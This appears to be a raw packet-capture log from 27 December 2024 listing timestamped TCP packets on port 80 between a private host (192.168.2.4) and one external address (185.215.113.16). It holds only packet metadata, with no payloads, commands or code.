Dec 27, 2024 08:45:25.377800941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.378357887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.378426075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.378462076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.379093885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.379149914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.379185915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.379772902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.379868031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.379901886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.380477905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.380604982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.380637884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.381222010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.381329060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.381359100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.381895065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.382006884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.382040024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.382616043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.382704020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.382750034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.383339882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.383421898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.383456945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.384047985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.384134054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.384166002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.384762049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.384896994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.384934902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.385504007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.385533094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.385564089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.386168003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.386276007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.386308908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.386926889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.386979103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.387011051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.387608051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.387711048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.387744904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.388329029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.388417006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.388451099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.389044046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.389209986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.389264107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.389801979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.389874935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.389906883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.390489101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.390583992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.390616894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.391184092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.391288996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.391324043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.391897917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.391977072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.392011881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.392627001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.392738104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.392770052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.393330097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.393424034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.393456936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.394064903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.394224882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.394254923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.394784927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.394926071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.394956112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.395499945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.395593882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.395622969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.396183968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.410502911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.410548925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.410562038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.410610914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.410624027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.410645008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.411338091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.411377907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.411423922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.412054062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.412100077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.412138939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.412772894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.412822962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.412888050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.413490057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.413532972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.413589954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.414196968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.414241076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.414293051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.415258884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.415309906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.416048050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.416063070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.416076899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.416093111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.416316986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.416409016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.416426897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.459708929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.568816900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.568840027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.568892002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.569041014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.569072962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.569117069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.569660902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.569993973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.570010900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.570040941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.570678949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.570727110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.570811987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.572290897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.572309017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.572350025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.572432041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.572446108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.572468996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.572788000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.572854042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.572930098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.573596001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.573612928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.573642015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.574374914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.574392080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.574435949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.574991941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.575041056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.575128078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.575690031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.575706005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.575747013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.576528072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.576544046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.576572895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.577050924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.577096939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.577234030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.577910900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.577960968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.578041077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.578536987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.578583002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.578664064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.578917980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.578931093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.578943968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.578955889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.578963995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.578983068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.580005884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.580058098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.580584049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.581981897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.581996918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.582030058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.582695961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.582765102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.582825899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.583235979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.583251953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.583271980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.583384037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.583416939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.583717108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.584223986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.584270000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.584384918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.584969997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.585017920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.585098982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.585827112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.585872889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.586138010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.586328030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.586364985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.586467028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.587028027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.587070942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.587161064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.587876081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.587892056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.587939978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.588512897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.588526964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.588557959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.589320898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.589342117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.589363098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.590003014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.590044975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.590166092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.590745926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.590789080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.590869904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.591391087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.591439009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.591547012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.592263937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.592282057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.592312098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.592904091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.592984915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.593048096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.593398094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.593441963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.593669891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.594202995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.594312906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.594357014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.594880104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.594943047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.595027924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.595737934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.595782042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.595891953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.596384048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.596431017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.596533060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.597064018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.597114086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.597215891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.597750902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.597798109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.597903967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.598439932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.598493099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.598618984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.612814903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.612926960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.612936020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.613101006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.613151073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.613291025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.613843918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.613857031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.613893032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.614562035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.614608049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.614758968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.615276098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.615324974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.615468025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.615969896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.615981102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.615992069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.616004944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.616015911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.616063118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.617022038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.617033958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.617046118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.617062092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.617088079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.617713928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.619600058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.619646072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.620172024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.662756920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.769301891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.769383907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.769462109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.769785881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.769800901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.769900084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.770524979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.770539999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.770657063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.771385908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.771401882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.771445990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.771538973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.771945000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.771998882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.772456884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.772471905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.772514105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.773017883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.773736954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.773753881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.773802996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.774072886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.774116993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.774502993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.774774075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.774816990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.775139093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.775374889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.775418043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.775836945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.776139021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.776177883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.776654005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.776699066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.776743889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.777323961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.777527094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.777571917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.778129101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.778145075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.778187037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.779397011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.779413939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.779458046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.779639006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.779654026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.779686928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.780275106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.780291080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.780347109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.781347036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.781362057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.781414032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.782341003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.782356024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.782371044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.782401085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.782546997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.782594919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.782996893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.783169031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.783209085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.783755064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.783961058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.784008026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.784435987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.784723043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.784765959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:25.785159111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:25.785330057 CET	80	49744	185.215.113.16	192.168.2.4
